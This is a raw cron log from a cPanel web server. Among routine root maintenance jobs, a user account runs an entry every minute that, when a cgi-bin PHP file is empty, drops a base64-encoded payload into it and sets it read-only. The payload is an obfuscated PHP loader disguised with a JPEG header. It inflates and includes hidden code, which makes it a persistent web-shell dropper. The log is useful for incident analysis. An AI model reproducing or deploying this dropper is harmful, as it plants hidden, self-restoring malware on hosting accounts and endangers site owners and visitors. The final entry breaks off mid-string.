Sep  6 16:35:02 server CROND[13790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:35:02 server CROND[13791]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:35:02 server CROND[13794]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:35:02 server CROND[13795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:35:02 server CROND[13801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:35:02 server CROND[13797]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:35:02 server CROND[13798]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 16:35:02 server CROND[13800]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 16:35:02 server CROND[13799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:36:01 server CROND[14696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:36:01 server CROND[14697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:36:01 server CROND[14698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:37:01 server CROND[15166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:37:01 server CROND[15167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:37:01 server CROND[15168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:38:01 server CROND[15542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:38:01 server CROND[15543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:38:01 server CROND[15544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:39:01 server CROND[15923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:39:01 server CROND[15925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:39:01 server CROND[15926]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 16:39:01 server CROND[15924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:40:01 server CROND[16335]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 16:40:01 server CROND[16336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:40:01 server CROND[16338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:40:01 server CROND[16340]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:40:01 server CROND[16339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:40:01 server CROND[16341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:40:01 server CROND[16343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:40:01 server CROND[16342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:41:01 server CROND[17174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:41:01 server CROND[17175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:41:01 server CROND[17176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:42:01 server CROND[17551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:42:01 server CROND[17552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:42:01 server CROND[17554]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 16:42:01 server CROND[17553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:43:01 server CROND[18028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:43:01 server CROND[18029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:43:01 server CROND[18030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:44:01 server CROND[18413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:44:01 server CROND[18414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:44:01 server CROND[18415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:45:01 server CROND[18809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:45:01 server CROND[18810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:45:01 server CROND[18807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:45:01 server CROND[18808]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:45:01 server CROND[18811]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:45:01 server CROND[18814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:45:01 server CROND[18815]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:46:01 server CROND[19631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:46:01 server CROND[19632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:46:01 server CROND[19633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNT